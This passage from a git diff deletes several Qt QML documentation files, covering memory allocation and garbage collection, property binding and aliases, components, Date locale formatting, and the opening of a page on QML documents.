decisions made by the application developer. - -The C++ heap will contain: -\list - \li the fixed and unavoidable overhead of the QML engine (implementation data - structures, context information, and so on) - \li per-component compiled data and type information, including per-type property - metadata, which is generated by the QML engine depending on which modules are - imported by the application and which components the application loads - \li per-object C++ data (including property values) plus a per-element metaobject - hierarchy, depending on which components the application instantiates - \li any data which is allocated specifically by QML imports (libraries) -\endlist - -The JavaScript heap will contain: -\list - \li the fixed and unavoidable overhead of the JavaScript engine itself (including - built-in JavaScript types) - \li the fixed and unavoidable overhead of our JavaScript integration (constructor - functions for loaded types, function templates, and so on) - \li per-type layout information and other internal type-data generated by the JavaScript - engine at runtime, for each type (see note below, regarding types) - \li per-object JavaScript data ("var" properties, JavaScript functions and signal - handlers, and non-optimized binding expressions) - \li variables allocated during expression evaluation -\endlist - -Furthermore, there will be one JavaScript heap allocated for use in the main thread, and -optionally one other JavaScript heap allocated for use in the WorkerScript thread. If an -application does not use a WorkerScript element, that overhead will not be incurred. The -JavaScript heap can be several megabytes in size, and so applications written for -memory-constrained devices may be best served to avoid using the WorkerScript element -despite its usefulness in populating list models asynchronously. - -Note that both the QML engine and the JavaScript engine will automatically generate their -own caches of type-data about observed types. Every component loaded by an application -is a distinct (explicit) type, and every element (component instance) which defines its -own custom properties in QML is an implicit type. Any element (instance of a component) -which does not define any custom properties is considered by the JavaScript and QML engines -to be of the type explicitly defined by the component, rather than its own implicit type. - -Consider the following example: -\qml -import QtQuick 2.0 - -Item { - id: root - - Rectangle { - id: r0 - color: "red" - } - - Rectangle { - id: r1 - color: "blue" - width: 50 - } - - Rectangle { - id: r2 - property int customProperty: 5 - } - - Rectangle { - id: r3 - property string customProperty: "hello" - } - - Rectangle { - id: r4 - property string customProperty: "hello" - } -} -\endqml - -In the previous example, the rectangles \c r0 and \c r1 do not have any custom properties, -and thus the JavaScript and QML engines consider them both to be of the same type. That -is, \c r0 and \c r1 are both considered to be of the explicitly defined \c Rectangle type. -The rectangles \c r2, \c r3 and \c r4 each have custom properties and are each considered -to be different (implicit) types. Note that \c r3 and \c r4 are each considered to be of -different types, even though they have identical property information, simply because the -custom property was not declared in the component which they are instances of. - -If \c r3 and \c r4 were both instances of a \c RectangleWithString component, and that -component definition included the declaration of a string property named \c customProperty, -then \c r3 and \c r4 would be considered to be the same type (that is, they would be -instances of the \c RectangleWithString type, rather than defining their own implicit type). - -\section2 In-Depth Memory Allocation Considerations - -Whenever making decisions regarding memory allocation or performance trade-offs, it is -important to keep in mind the impact of CPU-cache performance, operating system paging, -and JavaScript engine garbage collection. Potential solutions should be benchmarked -carefully in order to ensure that the best one is selected. - -No set of general guidelines can replace a solid understanding of the underlying -principles of computer science combined with a practical knowledge of the implementation -details of the platform for which the application developer is developing. Furthermore, -no amount of theoretical calculation can replace a good set of benchmarks and analysis -tools when making trade-off decisions. - -\section3 Fragmentation - -Fragmentation is a C++ development issue. If the application developer is not defining -any C++ types or plugins, they may safely ignore this section. - -Over time, an application will allocate large portions of memory, write data to that -memory, and subsequently free some portions of that memory once it has finished using -some of the data. This can result in "free" memory being located in non-contiguous -chunks, which cannot be returned to the operating system for other applications to use. -It also has an impact on the caching and access characteristics of the application, as -the "living" data may be spread across many different pages of physical memory. This -in turn could force the operating system to swap which can cause filesystem I/O - which -is, comparatively speaking, an extremely slow operation. - -Fragmentation can be avoided by utilizing pool allocators (and other contiguous memory -allocators), by reducing the amount of memory which is allocated at any one time by -carefully managing object lifetimes, by periodically cleansing and rebuilding caches, -or by utilizing a memory-managed runtime with garbage collection (such as JavaScript). - -\section3 Garbage Collection - -JavaScript provides garbage collection. Memory which is allocated on the JavaScript -heap (as opposed to the C++ heap) is owned by the JavaScript engine. The engine will -periodically collect all unreferenced data on the JavaScript heap, and if fragmentation -becomes an issue, it will compact its heap by moving all "living" data into a contiguous -region of memory (allowing the freed memory to be returned to the operating system). - -\section4 Implications of Garbage Collection - -Garbage collection has advantages and disadvantages. It ensures that fragmentation is -less of an issue, and it means that manually managing object lifetime is less important. -However, it also means that a potentially long-lasting operation may be initiated by the -JavaScript engine at a time which is out of the application developer's control. Unless -JavaScript heap usage is considered carefully by the application developer, the frequency -and duration of garbage collection may have a negative impact upon the application -experience. - -\section4 Manually Invoking the Garbage Collector - -An application written in QML will (most likely) require garbage collection to be -performed at some stage. While garbage collection will be automatically triggered by -the JavaScript engine when the amount of available free memory is low, it is occasionally -better if the application developer makes decisions about when to invoke the garbage -collector manually (although usually this is not the case). - -The application developer is likely to have the best understanding of when an application -is going to be idle for substantial periods of time. If a QML application uses a lot -of JavaScript heap memory, causing regular and disruptive garbage collection cycles -during particularly performance-sensitive tasks (for example, list scrolling, animations, -and so forth), the application developer may be well served to manually invoke the -garbage collector during periods of zero activity. Idle periods are ideal for performing -garbage collection since the user will not notice any degradation of user experience -(skipped frames, jerky animations, and so on) which would result from invoking the garbage -collector while activity is occurring. - -The garbage collector may be invoked manually by calling \c{gc()} within JavaScript. -This will cause a comprehensive collection and compaction cycle to be performed, which -may take from between a few hundred to more than a thousand milliseconds to complete, and -so should be avoided if at all possible. - -\section3 Memory vs Performance Trade-offs - -In some situations, it is possible to trade-off increased memory usage for decreased -processing time. For example, caching the result of a symbol lookup used in a tight loop -to a temporary variable in a JavaScript expression will result in a significant performance -improvement when evaluating that expression, but it involves allocating a temporary variable. -In some cases, these trade-offs are sensible (such as the case above, which is almost always -sensible), but in other cases it may be better to allow processing to take slightly longer -in order to avoid increasing the memory pressure on the system. - -In some cases, the impact of increased memory pressure can be extreme. In some situations, -trading off memory usage for an assumed performance gain can result in increased page-thrash -or cache-thrash, causing a huge reduction in performance. It is always necessary to benchmark -the impact of trade-offs carefully in order to determine which solution is best in a given -situation. - -For in-depth information on cache performance and memory-time trade-offs, please see -Ulrich Drepper's excellent article "What Every Programmer Should Know About Memory" -(available at http://ftp.linux.org.ua/pub/docs/developer/general/cpumemory.pdf as at 18th -April 2012), and for information on C++-specific optimizations, please see Agner Fog's -excellent manuals on optimizing C++ applications (available at -http://www.agner.org/optimize/ as at 18th April 2012). - -*/ diff --git a/doc/src/qml/propertybinding.qdoc b/doc/src/qml/propertybinding.qdoc deleted file mode 100644 index 6922f54..0000000 --- a/doc/src/qml/propertybinding.qdoc +++ /dev/null @@ -1,362 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-properties.html -\ingroup qml-features -\title Properties and Property Binding in QML -\brief declaring and binding properties - -\section1 Properties - -QML components have \e properties that can be read and modified by other objects. -In QML, properties serve many purposes but their main function is to hold to -values. Values may be a \l{QML Basic Types}{basic type}, or other QML elements. - -The syntax for properties is: - -\tt{[default] property [: defaultValue]} - -Elements already possess useful properties but, to create custom properties, -precede the property name with the keyword \c property. - -\snippet doc/src/snippets/qml/properties.qml parent begin -\snippet doc/src/snippets/qml/properties.qml inherited properties -\snippet doc/src/snippets/qml/properties.qml custom properties -\snippet doc/src/snippets/qml/properties.qml parent end - -QML property rules coincide with many of JavaScript's property rules, for example, -property names must begin with a lowercase letter. -\l {JavaScript Reserved Words}{JavaScript reserved words} are not valid property -names. - -\section1 Property Binding - -Property binding is a declarative way of specifying the value of a property. Binding allows -a property's value to be expressed as an JavaScript expression that defines the value relative -to other property values or data accessible in the application. The property value is -automatically kept up to date if the other properties or data values change. - -Property bindings are created in QML using the colon "\c {:}" before the value: -\snippet doc/src/snippets/qml/properties.qml property binding -The property binding causes the width of the \c Rectangle to update whenever the -\c {parent}'s width changes. - -QML extends a standards compliant JavaScript engine, so any valid JavaScript expression can be -used as a property binding. Bindings can access object properties, make function calls and even -use built-in JavaScript objects such as \c {Date} and \c {Math}. -\snippet doc/src/snippets/qml/properties.qml JavaScript sample - -While syntactically bindings can be of arbitrary complexity, if a binding starts to become -overly complex - such as involving multiple lines, or imperative loops - it may be better -to refactor the component entirely, or at least factor the binding out into a separate -function. - -\keyword qml-javascript-assignment -\section1 Property Assignment versus Property Binding - -When working with both QML and JavaScript, it is important to differentiate between -QML property binding and JavaScript value assignment. In QML, a property -binding is created using the colon "\c {:}". -\snippet doc/src/snippets/qml/properties.qml property binding -The property binding causes the width of the \c Rectangle to update whenever the -\c {parent}'s width changes. - -Assigning a property value (using the equals sign "\c {=}") does not create a -property binding (unless explicitly assigned, see below). -\snippet doc/src/snippets/qml/properties.qml property assignment - -Instead of creating a property binding, the assignment simply sets the \c Rectangle -\c width value to a number when the \c Component.onCompleted code is invoked. - -Assigning a value to a property that is already bound will remove the previous binding. -A property can only have one value at a time (a list of property is one value), -and if any code explicitly re-sets this value, the property binding is removed. - -\section1 Binding to JavaScript Functions - -The \c{property : value} syntax for property binding is QML-specific and cannot -be used in JavaScript. Instead, to bind a property from JavaScript, assign the -result returned by the \c{Qt.binding()} function to the property. This will cause -a binding assignment on the specified property. The following code correctly creates -the binding in JavaScript rather than QML: - -\qml -Item { - width: 100 - - Component.onCompleted: { - height = Qt.binding(function() { return width * 2 }) - } -} -\endqml - -When creating a property binding from JavaScript, QML allows the use of the \c -this keyword to refer to the object to which the property binding will be -assigned. This allows one to explicitly refer to a property within an object -when there may be ambiguity about the exact property that should be used for the -binding. - -For example, the \c Component.onCompleted handler below is defined within the -scope of the \l Item, and references to \c width within this scope would refer -to the \l Item's width, rather than that of the \l Rectangle. To bind the \l -Rectangle's \c height to its own \c width, the function passed to Qt.binding() -needs to explicitly refer to \c this.width rather than just \c width. - -\qml -Item { - width: 500 - height: 500 - - Rectangle { - id: rect - width: 100 - color: "yellow" - } - - Component.onCompleted: { - rect.height = Qt.binding(function() { return this.width * 2 }) - console.log("rect.height = " + rect.height) // prints 200 - } -} -\endqml - -In this case, the function could also have referred to \c rect.width rather than -\c this.width. - -Note that the value of \c this is not defined outside of its use in property binding. -See \l {QML JavaScript Restrictions} for details. - -The \l{Binding} element provides more control for binding properties with -JavaScript code. - -\section1 Types of Properties - -Properties may bind to different types, but they are are \e type-safe. That is, -properties only allow you to assign a value that matches the property type. For -example, if a property is a real, and if you try to assign a string to it you -will get an error. - -\badcode -property real volume: "four" //generates an error -\endcode - -Certain properties bind to more complex types such as other elements and objects. - -\keyword qml-basic-property-types -\section2 Basic Property Types - -Basic types such as \l int, \l real, and other Qt structures may be bound to -properties. For a list of types, visit the \l {QML Basic Types} document. - -\section2 Elements and Objects as Property Values - -Many properties bind to objects. For example, the \l Item element has a -\c states property that can bind to \l State elements. This type of property -binding allows elements to carry additional non-children elements. \c Item's -\c transitions property behaves in a similar way; it can bind to \l Transition -elements. - -Care must be taken when referring to the parent of an object property binding. -Elements and components that are bound to properties are not necessarily set -as children of the properties' component. - -\snippet doc/src/snippets/qml/properties.qml object binding -The code snippet has a \l Gradient element that attempts to print its parent's -\c width value. However, the \c Gradient element is bound to the \c gradient -property, not the \c children property of the \c Rectangle. As a result, the -\c Gradient does not have the \c Rectangle as its parent. Printing the value -of \c{parent.width} generates an error. Printing the \c Rectangle object's -first child's \c name will print \c {childrectangle} because the second -\c Rectangle is bound to the \c children property. - -For more information about the \c children property, please read the -\l {Default Properties} section. - -\keyword attached-properties -\section2 Attached Properties - -Certain objects provide additional properties by \e attaching properties to other -objects. For example, the \l Keys element have properties that can \e attach to other QML -objects to provide keyboard handling. - -\snippet doc/src/snippets/qml/properties.qml list attached property -The element \l ListView provides the delegate, \c listdelegate, the property -\c isCurrentItem as an attached property. The \c ListView.isCurrentItem -\e{attached property} provides highlight information to the delegate. -Effectively, the \l ListView element attaches the \c ListView.isCurrentItem -property to each delegate it creates. - -\keyword attached-signalhandlers -\section2 Attached Signal Handlers - -\e {Attached signal handlers} are similar -to \l{Attached Properties}{attached properties} in that they attach to objects -to provide additional functionality to objects. Two prominent elements, -\l Component and \l Keys element provide -\l{QML Signal and Handler Event System}{signal handlers} as attached signal -handlers. -\snippet doc/src/snippets/qml/properties.qml attached signal handler - -Read the \l{QML Signal and Handler Event System} and the \l{Keyboard Focus in QML} -articles for more information. - -\section2 List properties - -Some properties may accept a binding to a list property, where more than one -component can bind to the property. List properties allow multiple -\l {State}{States}, \l {Gradient}{Gradients}, and other components to bind to a -single property. -\snippet doc/src/snippets/qml/properties.qml list property -The list is enclosed in square brackets, with a comma separating the -list elements. In cases where you are only assigning a single item to a -list, you may omit the square brackets. -\snippet doc/src/snippets/qml/properties.qml single property - -To access the list, use the \c index property. -\snippet doc/src/snippets/qml/properties.qml print list property -The snippet code simply prints the name of the first state, \c FETCH. - - See the \l{list}{list type} documentation -for more details about list properties and their available operations. - -\keyword qml-grouped-properties -\section2 Grouped Properties - -In some cases properties form a logical group and use either the \e dot notation -or \e group notation. - -Grouped properties may be written both ways: -\snippet doc/src/snippets/qml/properties.qml grouped properties - -In the element documentation grouped properties are shown using the dot notation. - -\section2 Property Aliases - -Unlike a property definition, which allocates a new, unique storage space for -the property, a property alias connects the newly declared property, called the -\e{aliasing property} as a direct reference to an existing property, the -\e{aliased property}. Read or write operations on the aliasing property results -in a read or write operations on the aliased property, respectively. - -A property alias declaration is similar to an ordinary property definition: - -\tt{[default] property alias : } - -As the aliasing property has the same type as the aliased property, an explicit -type is omitted, and the special \c alias keyword is before the property name. -Instead of a default value, a property alias has a compulsory alias reference. -Accessing the aliasing property is similar to accessing a regular property. In -addition, the optional \c default keyword indicates that the aliasing property -is a \l{Default Properties}{default property}. - -\snippet doc/src/snippets/qml/Button.qml property alias -When importing the component as a \c Button, the \c buttonlabel is directly -accessible through the \c label property. -\snippet doc/src/snippets/qml/properties.qml alias usage -In addition, the \c id property may also be aliased and referred outside the -component. -\snippet doc/src/snippets/qml/Button.qml parent begin -\snippet doc/src/snippets/qml/Button.qml id alias -\snippet doc/src/snippets/qml/Button.qml parent end -The \c imagebutton component has the ability to modify the child \l Image object - and its properties. -\snippet doc/src/snippets/qml/properties.qml image alias - -Using aliases, properties may be exposed to the -\l{qml-top-level-component}{top level component}. Exposing properties to the -top-level component allows components to have interfaces similar to Qt widgets. - -\section3 Considerations for property aliases - -Aliases are only activated once the component -\l{Component::onCompleted}{completes} its initialization. An error is generated -when an uninitialized alias is referenced. Likewise, aliasing an aliasing -property will also result in an error. - -\snippet doc/src/snippets/qml/properties.qml alias complete - -When importing the component, however, aliasing properties appear as regular Qt -properties and consequently can be used in alias references. - -It is possible for an aliasing property to have the same name as an existing -property, effectively overwriting the existing property. For example, -the following component has a \c color alias property, named the same as the built-in -\l {Rectangle::color} property: - -\snippet doc/src/snippets/qml/properties.qml alias overwrite - -Any object that use this component and refer to its \c color property will be -referring to the alias rather than the ordinary \l {Rectangle::color} property. -Internally, however, the \c coloredrectangle can correctly set its \c color -property and refer to the actual defined property rather than the alias. - -The \l{declarative/ui-components/tabwidget}{TabWidget} example uses -aliases to reassign children to the \l ListView, creating a tab effect. - -\keyword default-properties -\section2 Default Properties - -When imported, QML components will bind declared children to their designated -\e{default properties}. The optional \c default attribute specifies a property -as the \e {default property}. For example, the State element's default property -is its \l{State::changes}{changes} property. \l PropertyChanges elements -may simply be placed as the \c{State}'s children and they will be bound to the -\c changes property. -\snippet doc/src/snippets/qml/properties.qml state default - -Similarly, the \l Item element's default property is its -\l{Item::data}{data} property. The \c data property manages Item's -\c children and \c resources properties. This way, different data types may be -placed as direct children of the \c Item. -\snippet doc/src/snippets/qml/properties.qml default property - -Reassigning a default property is useful when a component is reused. For -example, the \l{declarative/ui-components/tabwidget}{TabWidget} example uses -the \c default attribute to reassign children to the \l ListView, creating -a tab effect. - -\section1 Using the Binding Element - -In some advanced cases, it may be necessary to create bindings explicitly with -the\l Binding element. - -For example, to bind a property exposed from the \l{The QML Engine}{declarative -runtime} or \l{QmlGlobalQtObject}{Qt object}, such as the \c system.brightness -property, to a value written in QML, you could use the \l Binding element as -follows: -\snippet doc/src/snippets/qml/properties.qml binding element - -\section1 Changing Property Values in States - -The \l PropertyChanges element is for setting property bindings within a -\l State element to set a property binding. - -\snippet doc/src/snippets/qml/properties.qml PropertyChanges element -The rectangle's \c color property will bind to the \c warning component's -\c color property when its \c state is set to the \c WARNING state. -*/ diff --git a/doc/src/qml/qmlcomponents.qdoc b/doc/src/qml/qmlcomponents.qdoc deleted file mode 100644 index b423ea9..0000000 --- a/doc/src/qml/qmlcomponents.qdoc +++ /dev/null @@ -1,194 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-components.html -\ingroup qml-features -\contentspage QML Reference - -\title QML Components -\brief creating and instantiating components - -A \e component is an instantiable QML definition, typically contained in a \c -.qml file. For instance, a Button \e component may be defined in \c Button.qml -file. The \l{The QML Engine}{QML engine} may instantiate this Button -component to create Button \e objects. Alternatively, a component may be defined -inside a \l Component element. - -Moreover, the Button definition may also contain other components. A Button -component might have a Text element for its label and other components to -implement its functions. Compounding components to form new components -is the emphasis in QML. - -\keyword qml-define-components -\section1 Defining New Components - -Any snippet of QML code may become a component, by placing the code in a QML -file, whose file extension is \c .qml). A complete Button component that -responds to user input may be in a Button.qml file. -\snippet doc/src/snippets/qml/reusablecomponents/Button.qml document - -The component name, \c Button, matches the QML filename, \c Button.qml. -Also, the first character is in upper case. Matching the names allow -components in the same directory to be in the direct import path of the -application. The section on \l{Importing a Component} has information about -naming components with different filenames. - -Alternatively, a \l Component element may encapsulate a QML object to form a -component. -\snippet doc/src/snippets/qml/reusablecomponents/component.qml parent begin -\snippet doc/src/snippets/qml/reusablecomponents/component.qml define inline component -\snippet doc/src/snippets/qml/reusablecomponents/component.qml parent end - - -Components may incorporate any \l{Qt Quick}{QML feature} such as: -\list -\li \l{Property Binding in QML}{Properties} - for binding to data and functions -\li \l{JavaScript Expressions in QML}{JavaScript functions} - for performing routines and logic -\li \l{QML Signal and Handler Event System}{Signals and handlers} - t notify other -objects about events -\li \l{States} and \l{QML Animation and Transitions}{Transitions} -\li many others -\endlist -For information about these features, visit the respective overviews or the -main Qt Quick \l{Qt Quick}{reference} page. - -\keyword qml-loading-components -\section1 Loading a Component - -The initialization of inline components is different from loading a component -from a \c .qml file. - -\section2 Importing a Component - -A component defined in a \c .qml file is directly usable by declaring the name -of the component. For example, a button defined in \c Button.qml is created by -declaring a \c Button. The button is defined in the -\l {qml-define-components}{Defining New Components} section. -\snippet doc/src/snippets/qml/reusablecomponents/application.qml document - -Note that the component name, \c Button, matches the QML filename, \c Button.qml. -Also, the first character is in upper case. Matching the names allow -components in the same directory to be in the direct import path of the -application. - -For flexibility, a \c qmldir file is for dictating which additional components, -plugins, or directories should be imported. By using a \c qmldir file, component -names do not need to match the filenames. The \c qmldir file should, however, be -in an imported path. -\snippet doc/src/snippets/qml/reusablecomponents/qmldir document - -\section2 Loading an Inline Component - -A consequence of inline components is that initialization may be deferred or -delayed. A component may be created during a MouseArea event or by using a -\l Loader element. The component can create an object, which is addressable in a -similar way as an \l {qml-id}{identifier}. Thus, the created object may -have its bindings set and read like a normal QML object. -\snippet doc/src/snippets/qml/reusablecomponents/component.qml define inline component -\snippet doc/src/snippets/qml/reusablecomponents/component.qml create inline component - -\keyword qml-component-properties -\section1 Component Properties - -Initializing a component, either from a .qml file or initializing an inline -component, have several properties to facilitate component execution. -Specifically, there are \l{attached-properties}{attached properties} and -\l{attached-signalhandlers}{attached signal handlers} for setting properties -during the lifetime of a component. - -The \c{Component.onCompleted} attached signal handler is called when the -component completes initialization. It is useful for executing any commands -after component initialization. Similarly, the \c{Component.onDestruction} -signal handler executes when the component finishes destruction. - -\keyword qml-top-level -\section1 Top-Level Component - -Choosing the \e{top-level} or the \e{root} object of components is an important -design aspect because the top-level object dictates which properties are -accessible outside the component. Some elements are not visual elements and -will not have visual properties exposed outside the component. Likewise, some -elements add functionality that are not available to visual elements. - -Consider the Button component from the -\l{qml-define-components}{Defining New Components} section; it's top-level -object is a \l Rectangle. When imported, the Button component will possess the -Rectangle's properties, methods, signals, and any custom properties. - -\snippet doc/src/snippets/qml/reusablecomponents/Button.qml parent begin -\snippet doc/src/snippets/qml/reusablecomponents/Button.qml ellipses -\snippet doc/src/snippets/qml/reusablecomponents/Button.qml properties -\snippet doc/src/snippets/qml/reusablecomponents/Button.qml ellipses -\snippet doc/src/snippets/qml/reusablecomponents/Button.qml parent end - -The Button's \c text alias is accessible from outside the component as well as -the Rectangle's visual properties and signals such as \c x, \c y, \c anchors, -and \c states. - -Alternatively, we may choose a \l {Keyboard Focus in QML}{FocusScope} as our -top-level object. The \l FocusScope element manage keyboard focus for its -children which is beneficial for certain types of interfaces. However, since -\c FocusScopes are not visual elements, the visual properties of its child need -to be exposed. - -\snippet doc/src/snippets/qml/reusablecomponents/focusbutton.qml document - -\keyword qml-id -\section2 The Object Identifier - -Each QML object may be given a special unique identifier called an \c id. -No other object within the same QML component (see \l{QML Documents}) can have -the same \c id value. QML objects may then access an object using the \c id -property. -\snippet doc/src/snippets/qml/properties.qml id property -A component may readily access its parent's properties by using the \c parent -property. - -Note that an \c id must begin with a lower-case letter or an underscore. The -\c id cannot contain characters other than letters, numbers, underscores, and -\l {JavaScript Reserved Words}{JavaScript reserved words}. - -\section2 Child Components - -Objects or Items declared within a component can be made accessible by binding their id to a -property alias. - -\snippet doc/src/snippets/qml/reusablecomponents/Button.qml parent begin -\snippet doc/src/snippets/qml/reusablecomponents/Button.qml object alias -\snippet doc/src/snippets/qml/reusablecomponents/Button.qml text -\snippet doc/src/snippets/qml/reusablecomponents/Button.qml parent end - -The advantage of using an alias instead a property of type of the object is that the value of -the alias cannot be overridden, and members of the object can be used in property bindings when -declaring an instance of the component. -\snippet doc/src/snippets/qml/reusablecomponents/application.qml grouped property -If a property of type \c Text was used instead of an alias in this instance there would be no -guarantee that \c label would be initialized before the binding was attempted which would cause -the binding to fail. -*/ - diff --git a/doc/src/qml/qmldate.qdoc b/doc/src/qml/qmldate.qdoc deleted file mode 100644 index 696d97b..0000000 --- a/doc/src/qml/qmldate.qdoc +++ /dev/null @@ -1,190 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \qmlclass Date - \inqmlmodule QtQuick 2 - \brief The Date object provides date functions - - The QML Date object extends the JS Date object with - locale aware functions. - - Functions that accept a locale format may be either an enumeration - value: - \table - \row \li Locale.LongFormat \li The long version of the string; for example, returning "January" as a month name. - \row \li Locale.ShortFormat \li The short version of the string; for example, returning "Jan" as a month name. - \row \li Locale.NarrowFormat \li A special version for use when space is limited; - for example, returning "J" as a month name. Note that the narrow format might contain - the same text for different months and days or it can even be an empty string if the - locale doesn't support narrow names, so you should avoid using it for date formatting. - Also, for the system locale this format is the same as ShortFormat. - \endtable - - or a string specifying the format These expressions may be used for format dates: - \table - \header \li Expression \li Output - \row \li d \li the day as number without a leading zero (1 to 31) - \row \li dd \li the day as number with a leading zero (01 to 31) - \row \li ddd - \li the abbreviated localized day name (e.g. 'Mon' to 'Sun'). - \row \li dddd - \li the long localized day name (e.g. 'Monday' to 'Sunday'). - \row \li M \li the month as number without a leading zero (1 to 12) - \row \li MM \li the month as number with a leading zero (01 to 12) - \row \li MMM - \li the abbreviated localized month name (e.g. 'Jan' to 'Dec'). - \row \li MMMM - \li the long localized month name (e.g. 'January' to 'December'). - \row \li yy \li the year as two digit number (00 to 99) - \row \li yyyy \li the year as four digit number. If the year is negative, - a minus sign is prepended in addition. - \endtable - - All other input characters will be ignored. Any sequence of characters that - are enclosed in singlequotes will be treated as text and not be used as an - expression. Two consecutive singlequotes ("''") are replaced by a singlequote - in the output. - - Example format strings (assuming that the Date is the 20 July - 1969): - - \table - \header \li Format \li Result - \row \li dd.MM.yyyy \li 20.07.1969 - \row \li ddd MMMM d yy \li Sun July 20 69 - \row \li 'The day is' dddd \li The day is Sunday - \endtable - - These expressions may be used for formatting time: - - \table - \header \li Expression \li Output - \row \li h - \li the hour without a leading zero (0 to 23 or 1 to 12 if AM/PM display) - \row \li hh - \li the hour with a leading zero (00 to 23 or 01 to 12 if AM/PM display) - \row \li H - \li the hour without a leading zero (0 to 23, even with AM/PM display) - \row \li HH - \li the hour with a leading zero (00 to 23, even with AM/PM display) - \row \li m \li the minute without a leading zero (0 to 59) - \row \li mm \li the minute with a leading zero (00 to 59) - \row \li s \li the second without a leading zero (0 to 59) - \row \li ss \li the second with a leading zero (00 to 59) - \row \li z \li the milliseconds without leading zeroes (0 to 999) - \row \li zzz \li the milliseconds with leading zeroes (000 to 999) - \row \li AP or A - \li use AM/PM display. \e AP will be replaced by either "AM" or "PM". - \row \li ap or a - \li use am/pm display. \e ap will be replaced by either "am" or "pm". - \row \li t \li the timezone (for example "CEST") - \endtable - - All other input characters will be ignored. Any sequence of characters that - are enclosed in singlequotes will be treated as text and not be used as an - expression. Two consecutive singlequotes ("''") are replaced by a singlequote - in the output. - - Example format strings (assuming that the QTime is 14:13:09.042) - - \table - \header \li Format \li Result - \row \li hh:mm:ss.zzz \li 14:13:09.042 - \row \li h:m:s ap \li 2:13:9 pm - \row \li H:m:s a \li 14:13:9 pm - \endtable - - If the date is invalid, an empty string will be returned. - - \sa {QtQuick2::Locale}{Locale} -*/ - -/*! - \qmlmethod string Date::toLocaleString(locale,format) - - Converts the Date to a string containing the date and time - suitable for the specified \a locale - in the specified \a format. - - If the format is not specified Locale.LongFormat will be used. - - If \a locale is not specified, the default locale will be used. - - The following example shows the current date and time formatted - for the German locale: - \code - import QtQuick 2.0 - - Text { - text: "The date is: " + Date().toLocaleString(Qt.locale("de_DE")) - } - \endcode -*/ - -/*! - \qmlmethod string Date::toLocaleDateString(locale,format) - - Converts the Date to a string containing the date suitable for the specified \a locale - in the specified \a format. - - If the format is not specified Locale.LongFormat will be used. - - If \a locale is not specified, the default locale will be used. - - The following example shows the current date formatted - for the German locale: - \code - import QtQuick 2.0 - - Text { - text: "The date is: " + Date().toLocaleDateString(Qt.locale("de_DE")) - } - \endcode -*/ - -/*! - \qmlmethod string Date::toLocaleTimeString(locale,format) - - Converts the Date to a string containing the time suitable for the specified \a locale - in the specified \a format. - - If the format is not specified Locale.LongFormat will be used. - - If \a locale is not specified, the default locale will be used. - - The following example shows the current time formatted - for the German locale: - \code - import QtQuick 2.0 - - Text { - text: "The date is: " + Date().toLocaleTimeString(Qt.locale("de_DE")) - } - \endcode -*/ - diff --git a/doc/src/qml/qmldocument.qdoc b/doc/src/qml/qmldocument.qdoc deleted file mode 100644 index 3084599..0000000 --- a/doc/src/qml/qmldocument.qdoc +++ /dev/null @@ -1,151 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-documents.html -\title QML Documents -\brief a description of QML documents and the kind of content they contain - -A QML document is a block of QML source code. QML documents generally correspond to files -stored on a disk or at a location on a network, but they can also be constructed directly -from text data. - -Here is a simple QML document: - -\snippet doc/src/snippets/qml/qml-documents/non-trivial.qml document - -QML documents are always encoded in UTF-8 format. - -A QML document always begins with one or more import statements. To prevent elements -introduced in later versions from affecting existing QML programs, the element types -available within a document are controlled by the imported QML \l {Modules} with -a corresponding \e version. - -QML does \e not have a preprocessor that modifies the document prior to -presentation to the \l{The QML Engine}{QML engine}, unlike C or C++. -The \c import statements do not copy and prepend the code in the document, but -instead instruct the QML engine on how to resolve type references found -in the document. Any type reference present in a QML document - such as \c -Rectangle and \c ListView - including those made within an \l {Inline -JavaScript}{JavaScript block} or \l {Property Binding in QML}{property -bindings}, are \e resolved based exclusively on the import statements. At least -one \c import statement must be present such as \c{import QtQuick 2.0}. - -Each \c id value in a QML document must be unique within that document. They do -not need to be unique across different documents as id values are resolved -according to the document scope. - -\section1 Documents as Component Definitions - -A QML document defines a single, top-level \l {QML Components}{QML component}. A -QML component is a template that is interpreted by the QML engine to -create an object with some predefined behaviour. As it is a template, a single -QML component can be "run" multiple times to produce several objects, each of -which are said to be \e instances of the component. - -Once created, 